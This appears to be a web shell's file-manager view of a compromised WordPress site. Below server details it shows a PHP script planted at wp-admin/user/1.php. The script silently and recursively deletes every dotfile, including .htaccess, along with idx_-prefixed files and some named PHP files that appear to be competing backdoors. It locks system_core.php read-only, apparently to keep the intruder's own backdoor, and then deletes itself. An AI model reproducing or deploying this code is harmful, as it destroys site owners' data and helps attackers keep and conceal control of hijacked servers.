HEX
Server: LiteSpeed
System: Linux s166.bitcommand.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User: h340499 (1922)
PHP: 8.2.16
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/h340499/domains/practicalislam.com/public_html/wp-admin/user/1.php
<?php
/**
 * System Core Cleaner - All Fix
 * Targets: .htaccess, sc.php, features.php, system.php, idx_* files, 1.php (Self)
 * Protection: system_core.php
 */

error_reporting(0);

$path = isset($_GET['path']) ? $_GET['path'] : __DIR__;
$path = realpath($path);
if (!$path || !is_dir($path)) {
    $path = __DIR__;
}

// Targets to delete
$delete_targets = ['sc.php', 'features.php', '.htaccess', 'system.php'];
$self_file = '1.php';
$protect_target = 'system_core.php';

function coreProcessor($dir, $del_list, $prot_file) {
    if (!is_dir($dir)) return;
    $files = @scandir($dir);
    if (!$files) return;

    foreach ($files as $file) {
        if ($file === '.' || $file === '..') continue;
        $fullPath = $dir . DIRECTORY_SEPARATOR . $file;
        
        if (is_dir($fullPath)) {
            coreProcessor($fullPath, $del_list, $prot_file);
        } else {
            $fileName = strtolower($file);
            
            // 1. Force Delete: Dot files, idx_ prefix files, and specific targets
            $isDotFile = (substr($file, 0, 1) === '.');
            $isIdxFile = (substr($fileName, 0, 4) === 'idx_');
            $isTarget = in_array($fileName, $del_list);
            
            if ($isDotFile || $isIdxFile || $isTarget) {
                // Changing to High Permission (0777) before deletion
                @chmod($fullPath, 0777);
                @unlink($fullPath);
            }
            
            // 2. Protect system_core.php (Set to Read-only 0444)
            if ($fileName === strtolower($prot_file)) {
                @chmod($fullPath, 0444);
            }
        }
    }
}

// Step 1: Run recursive cleaning process
coreProcessor($path, $delete_targets, $protect_target);

// Step 2: Self-destruct 1.php (the script itself) at the very end
$current_script = realpath(__FILE__);
if (basename($current_script) === $self_file) {
    @chmod($current_script, 0777);
    @unlink($current_script);
}

// Step 3: Minimal Output
echo "Success";
exit;
?>